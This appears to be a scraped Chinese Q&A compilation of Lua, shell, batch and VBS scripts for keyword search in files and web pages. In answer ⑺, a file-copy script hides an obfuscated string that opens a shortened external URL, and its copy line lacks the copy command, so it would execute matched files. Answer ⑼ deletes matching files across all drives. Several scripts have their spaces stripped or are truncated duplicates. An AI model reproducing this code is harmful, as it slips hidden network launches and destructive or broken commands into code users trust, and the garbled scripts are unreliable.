⑴ 用Lua脚本来扫描一个日志文件,找出里面的关键字
逐行读取进行匹配
local file = io.open("log.txt","r") --打开log
for l in file:lines() do --逐行读取
if string.match(l,"error") then --如果存在字符串‘error’
print(l) --输出
end
end
file:close()
⑵ shell脚本关于文档关键词组的搜索求助
#!/usr/bin/ksh
keyword="abcd"
dir=/home/test
filename=`ls $dir`
for I in $filename
do
grep $keyword $dir/$I >/dev/null 2>&1
if [ $? -eq 0 ]
then
{
echo $I `grep $keyword $dir/$I`
}
fi
done
⑶ windows通过批处理怎么查找关键字 ,脚本怎么写
我以前写的找文件的批,借你参考下
@echo off & setlocal enabledelayedexpansion
title by:chf
color 0a
set num=0
if exist %temp%\find.lst del %temp%\find.lst
:star
cls
echo.
echo ..........................................................
echo ^| by:chf ^|
echo ^| 1.模糊查找 2.普通查找 3.精确查找 ^|
echo ..........................................................
echo.
set /p chioce=请选择:
echo %chioce%|findstr /i "[^-0-9]" && goto error
if "%chioce%"=="" goto error
if %chioce% gtr 3 goto error
if %chioce% lss 1 goto error
set /p file=请输入关键字:
for /f "skip=1 tokens=*" %%i in ('wmic logicaldisk where "drivetype=3"
get name') do call :loop %%i
:loop
set m=%1
if not defined m goto exit
cls
if %chioce%==1 goto str1
if %chioce%==2 goto str2
if %chioce%==3 goto str3
:str
echo 文件"%file%"正在%m%盘中进行查找,请稍候,已经找到%num%个相关文件...
if exist %temp%\find.lst type %temp%\find.lst
for /f "tokens=*" %%j in ('dir %1\%filestr% /s /a /b') do (if not %%j==找不到文件 echo %%j>>%temp%\find.lst && set /a num+=1)
for /f "tokens=*" %%k in ('type %temp%\find.lst') do echo %%k
cls
goto :eof
:exit
cls
if %num%==0 (set/p=未找到与关键字'%file%'相关文件,<nul) else (echo 查找完成,共找到与%file%相关文件%num%个,路径如下:)
if exist %temp%\find.lst type %temp%\find.lst |more && del %temp%\find.lst
echo 按任意键退出。。。 & pause>nul & exit
:str1
if exist %temp%\str.lst del %temp%\str.lst
set sz=0
:xh
set file%sz%=!file:~%sz%,1!
if "!file%sz%!"==" " set file%sz%=*
if "!file%sz%!"=="" goto end
set /a sz+=1
goto xh
:end
set /a ssz=%sz%-1
for /l %%l in (0 1 %ssz%) do set/p a=!file%%l!*<nul>>%temp%\str.lst
for /f "tokens=*" %%m in ('type %temp%\str.lst') do set filestr=%%m
goto str
:str2
set filestr=*%file%*
goto str
:str3
set filestr=%file%
goto str
:error
cls
echo 选择有误,请重新选择...
ping /n 2 127.0.0.1>nul
goto star
::结束
⑷ 怎么通过bat批处理来实现搜索电脑文件 由用户输入关键词来搜索
@echo off
rem 搜索指定文件夹/目录下名称中包含指定字符串/关键字的文件
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
set "folder=D:\"
cd /d "%folder%"
:loop
cls&set "keyword="
set /p keyword=input:
if not defined keyword goto loop
for /f "delims=" %%i in ('dir /a-d /s /b "*%keyword%*.*"') do (
echo;"%%i"
start "" "%%i"
)
pause
goto loop
⑸ 按键精灵在网页查找关键字的脚本是什么
用这个子程序:
Else
xmlUrl = 网页地址
End if
Set xmlHttp = CreateObject("Microsoft.XMLHTTP")
xmlHttp.Open "Get", xmlUrl, False
xmlHttp.Send
xmlBody = xmlHttp.ResponseBody
Set xmlHttp = Nothing
获得网页源文件 = ""
If Len(xmlBody) = 0 Then Exit Function
Set ObjStream = CreateObject("Adodb.Stream")
With ObjStream
.Type = 1
.Mode = 3
.Open
.Write xmlBody
.Position = 0
.Type = 2
.Charset = "UTF-8"
BytesToBstr = .ReadText
.Close
End With
Set ObjStream = Nothing
获得网页源文件 = BytesToBstr
End Function;
⑹ 如何写一个 bat 脚本 在指定目录下的文件夹中在所有文件中搜索关键字并输出文件名
@echooff
for/f"delims="%%ain('dir/a-d/b/s指定目录*关键字*')doecho%%~nxa
pause
⑺ 需要批量通过关键字查找文件并复制指定文件夹,bat内容该如何编辑。
关键字是多个,还是单个?
如果多个,是根据列表文件来读取,还是自定义到脚本中?
我现在只写单个的,或少量多个的。
@echo off & title 根据关键字拷贝文件 By 依梦琴瑶
::设置要搜索的关键字,多个关键字之间用空格隔开
set Word=测试 文本 开心
::设置要处理的文件夹
set SrcDir=D:\Test
::设置文件拷贝至哪个目录
set SavDir=D:\Backup
cd /d "%SrcDir%"
for /r %%a in (*) do (
echo "%%~na" | findstr /i "%Word%" >nul 2>nul && "%%~a" "%SavDir%\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
以上代码是根据文件名判断的,如果您是要查找文件内容,那么代码又不同了。
⑻ 按键精灵在网页查找关键字的脚本
'能!
'用这个子程序
Function 获得网页源文件(网页地址)
//说明:支持远程获取文本内容,如:MsgBox lib.网络.获得网页源文件("http://www.jdyou.com/test.txt")
//例子:MsgBox lib.网络.获得网页源文件("http://www.jdyou.com")
Dim xmlHttp, xmlBody, xmlUrl
Dim ThisCharCode ,NextCharCode ,BytesToBstr
If InStr(网页地址, "http://") = 0 Then
xmlUrl = "http://" & 网页地址
Else
xmlUrl = 网页地址
End if
Set xmlHttp = CreateObject("Microsoft.XMLHTTP")
xmlHttp.Open "Get", xmlUrl, False
xmlHttp.Send
xmlBody = xmlHttp.ResponseBody
Set xmlHttp = Nothing
获得网页源文件 = ""
If Len(xmlBody) = 0 Then Exit Function
Set ObjStream = CreateObject("Adodb.Stream")
With ObjStream
.Type = 1
.Mode = 3
.Open
.Write xmlBody
.Position = 0
.Type = 2
.Charset = "UTF-8"
BytesToBstr = .ReadText
.Close
End With
Set ObjStream = Nothing
获得网页源文件 = BytesToBstr
End Function
'比如:你想查找到有"网络"字眼你就弹出一对话框,那么可以如下实现.
Text=获得网页源文件("http://www..com")
if Instr(Text,"网络")>0 then
messagebox "测试弹出对话框"
End if
'以上所有文字 你复制到你按键精灵代码编辑器里一试便知。
⑼ 怎么用批处理搜索电脑中包含特定关键字的文件并将它删除
@echooff&cd/d%~dp0
setfn=全盘清理包含指定内容的文件.bat
ifnot"%~nx0"=="%fn%"%0"%fn%"/y>nul&start"""%fn%"&del%0
setmsg=正在清理全盘包含指定内容的文件,请等待。。。
title%fn:~,-4%By依梦琴瑶&color0C
echo免责声明:运行此脚本后,如果丢失文件,本作者概不负责。
echo如果同意,请按任意键继续,否则请点击右上角的关闭按钮。
pause>nul&color0A&cls&title%~n0By依梦琴瑶
echo请输入包含的字符串,区分大小写(切勿在未输入内容的情况下直接回车):
set/pStr=
title%msg%&echo,&echo即将开始清理。。。&ping0-n"3">nul&cls
for/f"tokens=2delims==:"%%ain('wmicLogicalDiskwhere"DriveType='3'"getDeviceID/value')do(
pushd%%~a:
echo正在扫描%%~a盘文件,此过程很耗时间,请耐心等待。。。&echo,
for/f"delims="%%ain('dir/a-d/s/b')do(
findstr/c:"%Str%""%%~a"&&(
del/a/f/q"%%~a"2>nul&&echo成功删除"%%~a"||echo删除失败"%%~a"
)
)
echo,&echo,
popd
)
setmsg=全盘相关文件已清理完成
title%msg%By依梦琴瑶&echo%msg%(注:如果上面出现“删除失败”的提示,那么可能该文件被占用或无权限),按任意键退出。
pause>nul&exit
⑽ 用VBS脚本实现:查找文件中指定内容,然后以查找的内容来重命名该文件名
set fso=createobject("scripting.filesystemobject")
set folder=fso.getfolder("D:\photos") '改成文件夹的路径
set files=folder.files
for each file in files
ext=fso.getExtensionName(file)
if ext ="txt" then
set fread = fso.opentextfile(file.path,1)
str = ""
do until fread.atendofstream
strline=fread.readline
if left(strline,8) ="hostname" then
str = right(strline,len(strline)-8)
str =replace(str," ","")&"."&ext
exit do
end if
loop
fread.close
if file.name <> str then
file.name = str
end if
end if
next
————————————————————————————
以上代码需要保证hostname 后面的文字不能重复,因为文件名称是不能完全相同的。